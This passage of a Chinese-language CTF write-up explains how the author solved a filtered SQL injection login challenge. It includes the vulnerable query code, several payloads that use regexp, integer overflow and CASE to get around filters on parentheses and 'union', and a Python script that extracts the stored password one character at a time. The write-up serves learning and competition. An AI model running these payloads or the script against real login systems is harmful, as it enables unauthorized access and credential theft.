</span></span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="w">    </span><span class="n">const</span><span class="w"> </span><span class="k">sql</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">`</span><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">auth</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">username</span><span class="o">=</span><span class="s1">&#39;${safe(username)}&#39;</span><span class="w"> </span><span class="k">LIMIT</span><span class="w"> </span><span class="mi">1</span><span class="o">`</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="w">    </span><span class="n">const</span><span class="w"> </span><span class="p">[</span><span class="k">rows</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">await</span><span class="w"> </span><span class="n">this</span><span class="p">.</span><span class="n">connectionProvider</span><span class="p">.</span><span class="n">use</span><span class="p">((</span><span class="k">c</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">c</span><span class="p">.</span><span class="n">query</span><span class="p">(</span><span class="k">sql</span><span class="p">));</span><span class="w">
</span></span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="w">    </span><span class="n">const</span><span class="w"> </span><span class="k">user</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">rows</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span><span class="w">
</span></span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="k">user</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="k">user</span><span class="p">.</span><span class="n">password</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="n">password</span><span class="p">)</span><span class="w"> </span><span class="err">{</span><span class="w">
</span></span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="w">      </span><span class="o">//</span><span class="w"> </span><span class="n">eslint</span><span class="o">-</span><span class="n">disable</span><span class="o">-</span><span class="k">next</span><span class="o">-</span><span class="n">line</span><span class="w"> </span><span class="o">@</span><span class="n">typescript</span><span class="o">-</span><span class="n">eslint</span><span class="o">/</span><span class="k">no</span><span class="o">-</span><span class="n">unused</span><span class="o">-</span><span class="n">vars</span><span class="w">
</span></span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="w">      </span><span class="n">const</span><span class="w"> </span><span class="err">{</span><span class="w"> </span><span class="n">password</span><span class="p">,</span><span class="w"> </span><span class="p">...</span><span class="k">result</span><span class="w"> </span><span class="err">}</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">user</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="w">      </span><span class="k">return</span><span class="w"> </span><span class="k">result</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="w">    </span><span class="err">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="k">null</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="w">  </span><span class="err">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="err">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这道题出得挺好的</p>
<p>首先看代码逻辑，先对输入的<strong>username</strong>进行查询，如果有，则用输入的<strong>password</strong>同查询出来的比较</p>
<p>看了这个首先想到的当然是<code>union select</code>，然而这里过滤了，当然这个过滤是绕不了的，双写不行，这里存在就把这个字符串替空，而不只是<strong>union</strong></p>
<p>再看看<strong>hint</strong>中的<strong>regexp</strong>，在过滤了<code>()</code>的前提下，<strong>regexp</strong>确实是个好函数</p>
<p>就想着能不能通过<strong>regexp</strong>把用户名密码匹配出来，想到了盲注</p>
<p>然而，盲注并非易事，这里不管有没有查询出结果，只要没拿到最终的用户名密码之前，都返回<strong>null</strong>，这就无法进行布尔盲注了</p>
<p>那有没有可能进行时间盲注呢？没有括号，这里调用不了像<code>sleep()</code>之类的函数，哎？再结合<strong>regexp</strong>，会不会正则匹配进行延时，然而并没有想象这么简单，进过本地一番测试发现，一延时mysql直接报<strong>Timeout</strong>了 ，没法利用</p>
<p>然而就在没思绪地用<strong>regexp</strong>测试的时候，发现当<strong>regexp</strong>传入不合语法匹配规则的时候会报错，报错？这不是可以用报错进行布尔盲注了吗？</p>
<p>这时候刷新一下题目信息，还是零解，赶紧冲！</p>
<p>说干就干，经过几番优化之后，构造出来</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">auth</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">username</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="s1">&#39;&#39;</span><span class="w"> </span><span class="n">regexp</span><span class="w"> </span><span class="s1">&#39;?&#39;</span><span class="w"> </span><span class="k">LIMIT</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>构造是构造出来了，其中1为布尔点，然而当我换成regexp的时候出问题了</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">auth</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">username</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="n">username</span><span class="w"> </span><span class="n">regexp</span><span class="w"> </span><span class="s1">&#39;^a&#39;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="s1">&#39;&#39;</span><span class="w"> </span><span class="n">regexp</span><span class="w"> </span><span class="s1">&#39;?&#39;</span><span class="w"> </span><span class="k">LIMIT</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>我原以为当前面匹配的时候，就不会执行后面错误的正则匹配了，然而我错了，regexp的语法检查是在查询判断之前进行的</p>
<p>后面换了其他一些报错的方法，最后发现通过整型溢出可以成功</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">auth</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">username</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="p">(</span><span class="n">username</span><span class="w"> </span><span class="n">regexp</span><span class="w"> </span><span class="s1">&#39;^a&#39;</span><span class="p">)</span><span class="o">+~</span><span class="mi">0</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="s1">&#39;&#39;</span><span class="w"> </span><span class="k">LIMIT</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>当匹配的时候为真，溢出报错，不匹配的时候正常不报错</p>
<p>现在问题就变成了怎么去掉括号，加法的优先级高过regexp，并不是随随便便可以去掉的，这里也想了很久，最后用case来解决了这个问题</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">auth</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">username</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="o">||</span><span class="k">case</span><span class="o">`</span><span class="n">username</span><span class="o">`</span><span class="n">regexp</span><span class="s1">&#39;^a&#39;</span><span class="k">when</span><span class="s1">&#39;1&#39;</span><span class="k">then</span><span class="o">~</span><span class="mi">0</span><span class="o">+</span><span class="mi">1</span><span class="o">+</span><span class="s1">&#39;&#39;</span><span class="k">else</span><span class="s1">&#39;0&#39;</span><span class="k">end</span><span class="o">||</span><span class="s1">&#39;&#39;</span><span class="w"> </span><span class="k">LIMIT</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这里有几个点：</p>
<ul>
<li><strong>username</strong>和<strong>regexp</strong>之间怎么隔开？这里把<strong>username</strong>用反引号引起来</li>
<li><strong>when</strong>和<strong>then</strong>怎么隔开？这里用了字符的强转型</li>
<li><strong>then</strong>后的<strong>1</strong>和<strong>else</strong>怎么隔开？这里加多一个空字符</li>
<li>最后<strong>end</strong>怎么闭合后面的单引号？这里加多一个**||**</li>
</ul>
<p>这些可能都是一些看到了<strong>payload</strong>觉得很简单，然而真正亲手尝试的时候会遇到各种各样的坑</p>
<p>后面就是脚本了，同样也并不顺利，和队友交流了之后还是花了好久，不过最终还是做出来了</p>
<ul>
<li>特殊字符怎么办？用反引号进行转义</li>
<li>大小写怎么区分？用COLLATE utf8mb4_bin</li>
</ul>
<p>直接上脚本</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">url</span><span class="o">=</span><span class="s1">&#39;http://xxx/login&#39;</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">flag</span><span class="o">=</span><span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">50</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">for</span> <span class="n">ascii</span> <span class="ow">in</span> <span class="s1">&#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789^!?$&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="n">temp</span><span class="o">=</span><span class="n">ascii</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">temp</span> <span class="ow">in</span> <span class="s1">&#39;^!?$&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">            <span class="n">temp</span><span class="o">=</span><span class="s2">&#34;</span><span class="se">\\\\\\</span><span class="s2">&#34;</span><span class="o">+</span><span class="n">temp</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="n">payload</span><span class="o">=</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">            <span class="s1">&#39;password&#39;</span><span class="p">:</span><span class="s1">&#39;xxx&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">            <span class="s1">&#39;username&#39;</span><span class="p">:</span><span class="sa">f</span><span class="s2">&#34;&#39;||case`password`regexp&#39;^</span><span class="si">{</span><span class="n">flag</span><span class="o">+</span><span class="n">temp</span><span class="si">}</span><span class="s2">&#39;COLLATE&#39;utf8mb4_bin&#39;when&#39;1&#39;then~0+1+&#39;&#39;else&#39;0&#39;end||&#39;&#34;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="n">response</span><span class="o">=</span><span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="o">=</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="k">if</span> <span class="s1">&#39;500&#39;</span> <span class="ow">in</span> <span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">            <span class="n">flag</span><span class="o">+=</span><span class="n">temp</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">ascii</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
